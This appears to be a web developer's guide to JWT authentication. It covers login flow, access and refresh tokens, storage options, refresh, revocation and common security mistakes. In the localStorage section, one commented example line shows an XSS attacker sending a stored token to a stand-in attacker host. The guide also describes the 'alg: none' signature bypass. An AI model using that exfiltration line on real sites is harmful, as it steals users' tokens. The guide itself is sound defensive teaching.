Understanding what a JWT contains is one thing. Understanding how JWT authentication actually works in a real application is another. This guide covers the full picture: the login flow, the difference between access and refresh tokens, where to store JWTs safely, how expiry and token refresh works, and the security mistakes that expose your users.
If you need a refresher on JWT structure and how to decode one, start with What is a JWT Token and How Do You Decode It.
How JWT authentication works - the full flow
JWT authentication replaces server-side sessions. Instead of the server storing a session ID and looking it up on every request, the server issues a signed token that the client stores and sends back. The server verifies the signature on each request - no database lookup needed.
The flow looks like this:
- User submits login credentials (email and password)
- Server verifies credentials against the database
- Server creates a JWT containing the user's ID, role, and expiry time, signs it with a secret key, and sends it back
- Client stores the JWT and sends it in the
Authorizationheader on every subsequent request - Server receives the request, verifies the JWT signature, reads the payload, and processes the request if valid
- When the JWT expires, the client requests a new one using a refresh token
// Step 4: client sends the JWT with every request fetch('/api/user/profile', { headers: { 'Authorization': `Bearer ${accessToken}` } }); // Step 5: server verifies and reads the token (Node.js example) const jwt = require('jsonwebtoken'); function verifyToken(req, res, next) { const token = req.headers.authorization?.split(' ')[1]; try { const decoded = jwt.verify(token, process.env.JWT_SECRET); req.user = decoded; next(); } catch (err) { res.status(401).json({ error: 'Invalid or expired token' }); } }
Access tokens vs refresh tokens
Most JWT authentication systems use two tokens, not one. They serve different purposes and have different lifetimes.
| Token | Lifetime | Purpose | Where stored |
|---|---|---|---|
| Access token | 15 min - 1 hour | Authorizes API requests | Memory or httpOnly cookie |
| Refresh token | Days to weeks | Gets new access tokens | httpOnly cookie only |
The access token is what the client sends with every API request. It is short-lived by design - if it is stolen, the damage window is small. The refresh token is long-lived and stored more securely. Its only job is to get a new access token when the current one expires.
// Server issues both tokens on login const accessToken = jwt.sign( { userId: user.id, role: user.role }, process.env.JWT_SECRET, { expiresIn: '15m' } ); const refreshToken = jwt.sign( { userId: user.id }, process.env.REFRESH_SECRET, { expiresIn: '7d' } ); // Access token returned in response body // Refresh token set as httpOnly cookie res.cookie('refreshToken', refreshToken, { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 7 * 24 * 60 * 60 * 1000 });
Why two tokens? A single long-lived access token is convenient but risky - if stolen, it works for days or weeks. Two tokens give you the best of both: the access token expires quickly to limit damage, and the refresh token enables seamless re-authentication without the user logging in again.
Where to store JWTs - localStorage vs cookies
This is the most debated question in JWT implementation and the most common source of security mistakes. The options are localStorage, sessionStorage, in-memory JavaScript variables, and httpOnly cookies.
localStorage and sessionStorage
Simple to implement - read and write with one line of JavaScript. The problem is that any JavaScript running on your page can also read localStorage. If your site has an XSS vulnerability - even from a third-party script - an attacker can steal every JWT in localStorage.
// localStorage - simple but vulnerable to XSS localStorage.setItem('accessToken', token); const token = localStorage.getItem('accessToken'); // An attacker with XSS access can do the same: // fetch('https://attacker.com/steal?t=' + localStorage.getItem('accessToken'))
httpOnly cookies
An httpOnly cookie cannot be read by JavaScript at all - only the browser sends it automatically with matching requests. This makes XSS attacks ineffective for stealing the token. The tradeoff is that cookies are vulnerable to CSRF attacks, which you mitigate with SameSite and CSRF tokens.
// httpOnly cookie - JavaScript cannot read this res.cookie('accessToken', token, { httpOnly: true, // no JS access secure: true, // HTTPS only sameSite: 'strict' // CSRF protection });
In-memory storage
Storing the access token in a JavaScript variable (not localStorage, not a cookie) means it vanishes on page refresh. This is the most secure option for access tokens because it is never persisted anywhere. Pair it with a refresh token in an httpOnly cookie to restore the access token on page load.
// In-memory access token - most secure, lost on refresh let accessToken = null; async function login(email, password) { const res = await fetch('/api/login', { method: 'POST', body: ... }); const data = await res.json(); accessToken = data.accessToken; // stored only in memory // refresh token is set as httpOnly cookie by the server } // On page load, silently get a new access token using the cookie async function refreshAccessToken() { const res = await fetch('/api/refresh', { credentials: 'include' }); const data = await res.json(); accessToken = data.accessToken; }
| Storage method | XSS risk | CSRF risk | Survives refresh |
|---|---|---|---|
| localStorage | High | Low | Yes |
| sessionStorage | High | Low | No |
| In-memory | Low | Low | No |
| httpOnly cookie | Low | Medium | Yes |
Recommended pattern: Store the access token in memory. Store the refresh token in an httpOnly, Secure, SameSite=Strict cookie. On page load, call a silent refresh endpoint to restore the access token using the cookie. This gives you XSS protection, CSRF protection, and seamless re-authentication.
JWT expiry and token refresh
The exp claim in the JWT payload is a Unix timestamp. When the current time passes that timestamp, the token is expired and the server will reject it with a 401 response.
// Check expiry before sending a request function isTokenExpired(token) { const payload = JSON.parse(atob(token.split('.')[1])); const now = Math.floor(Date.now() / 1000); return payload.exp < now; } // Proactive refresh - refresh 60 seconds before expiry function shouldRefresh(token) { const payload = JSON.parse(atob(token.split('.')[1])); const now = Math.floor(Date.now() / 1000); return payload.exp - now < 60; // less than 60 seconds remaining } // Interceptor pattern - refresh automatically on 401 async function apiRequest(url, options) { let res = await fetch(url, { ...options, headers: { 'Authorization': `Bearer ${accessToken}` } }); if (res.status === 401) { await refreshAccessToken(); res = await fetch(url, { ...options, headers: { 'Authorization': `Bearer ${accessToken}` } }); } return res; }
Can a JWT be invalidated before it expires?
This is where JWT's stateless design creates a real limitation. Because the server does not store tokens, there is no built-in way to revoke one. If a user logs out or changes their password, their old tokens technically remain valid until they expire.
The two practical solutions are:
- Short expiry times - keep access tokens short (15 minutes) so stolen tokens expire quickly regardless
- Token blacklist - maintain a server-side store of invalidated token IDs, checked on every request. This adds a database lookup but enables true revocation
// Token blacklist approach - store revoked token IDs const revokedTokens = new Set(); // use Redis in production function revokeToken(token) { const payload = jwt.decode(token); revokedTokens.add(payload.jti); // jti = JWT ID claim } function isRevoked(token) { const payload = jwt.decode(token); return revokedTokens.has(payload.jti); } // Include jti when issuing tokens const accessToken = jwt.sign( { userId: user.id, jti: crypto.randomUUID() }, process.env.JWT_SECRET, { expiresIn: '15m' } );
Refresh token rotation: Every time you issue a new access token using a refresh token, also issue a new refresh token and invalidate the old one. If an attacker steals a refresh token and uses it, the legitimate user's next refresh attempt will fail - alerting you to the compromise.
Common JWT security mistakes
The none algorithm vulnerability
Early JWT libraries accepted "alg": "none" in the header, meaning no signature required. An attacker could modify the payload, set the algorithm to none, and remove the signature entirely. The server would accept it as valid. Always use a library that explicitly rejects the none algorithm and never trust the algorithm specified in the token header.
// Wrong: trusting the algorithm from the token header const decoded = jwt.verify(token, secret, { algorithms: payload.header.alg // never do this }); // Correct: explicitly specify the allowed algorithm const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] // server decides, not the client });
Storing sensitive data in the payload
The JWT payload is Base64 encoded, not encrypted. Anyone who has the token can decode it and read every claim. Never put passwords, payment details, or any sensitive personal data in a JWT payload. Stick to non-sensitive identifiers like user ID and role.
Not validating expiry on the server
Some implementations check expiry only on the client. This provides no security - a client can be modified to skip the check. The server must always verify the exp claim on every request. JWT libraries do this automatically when you call verify() instead of decode().
// Wrong: decode() does not verify expiry or signature const payload = jwt.decode(token); // no validation at all // Correct: verify() checks signature, expiry, and issuer const payload = jwt.verify(token, secret); // throws if invalid
Using a weak or exposed secret key
The entire security of HS256-signed JWTs rests on the secret key. A short or guessable key can be brute-forced. Use a randomly generated key of at least 256 bits, store it in an environment variable, and rotate it if you suspect it has been compromised. When you rotate the key, all existing tokens immediately become invalid.
JWT vs session-based authentication
| Factor | JWT | Sessions |
|---|---|---|
| Server storage | None - stateless | Session store required |
| Scalability | Easy - any server can verify | Needs shared session store |
| Revocation | Hard - requires blacklist | Easy - delete the session |
| Token size | Larger - carries claims | Small - just a session ID |
| Best for | APIs, microservices, mobile | Traditional web apps |
JWTs are not universally better than sessions. For a monolithic web application with a single server, sessions are simpler and give you instant revocation. JWTs shine in distributed systems - APIs serving multiple clients, microservices that need to verify identity without a shared database, and mobile applications.
Frequently asked questions
What is the difference between an access token and a refresh token?
An access token is a short-lived JWT (typically 15 minutes to 1 hour) that the client sends with every API request. A refresh token is a long-lived token (days or weeks) stored securely and used only to get a new access token when the current one expires. The access token authorizes requests; the refresh token keeps the user logged in without re-entering credentials.
Should I store a JWT in localStorage or a cookie?
For most applications, httpOnly cookies are the safer choice. They cannot be read by JavaScript, which protects against XSS attacks. localStorage is simpler to implement but is accessible to any JavaScript on the page, making it vulnerable if your site has an XSS vulnerability. Store access tokens in memory or httpOnly cookies, and refresh tokens only in httpOnly cookies.
What happens when a JWT expires?
When a JWT access token expires, the server returns a 401 Unauthorized response. The client must then use its refresh token to request a new access token from the authentication server. If the refresh token has also expired, the user must log in again. The exp claim in the JWT payload contains the expiry time as a Unix timestamp.
Can a JWT be invalidated before it expires?
Not directly. JWTs are stateless - the server does not store them, so there is no built-in revocation mechanism. To invalidate a JWT before expiry, you need a token blacklist (a server-side store of revoked token IDs checked on every request) or a short expiry time combined with refresh token rotation. This is why access tokens should have short expiry times.
Is JWT the same as OAuth?
No. OAuth is an authorization framework - a set of rules for how authorization should work. JWT is a token format. OAuth often uses JWTs as the token format for access tokens, but JWT can be used independently of OAuth, and OAuth can use other token formats. They solve different problems and are often used together.
What is the none algorithm vulnerability in JWT?
Some early JWT libraries accepted none as a valid algorithm value in the header, meaning no signature was required. An attacker could modify the payload and set alg to none to bypass signature verification entirely. Always use a library that explicitly rejects the none algorithm, and never allow the algorithm to be specified by the client.
Inspect any JWT instantly
Paste a JWT and see the decoded header, payload claims, and expiry time. Runs entirely in your browser - nothing is sent to a server.
Open JWT Decoder →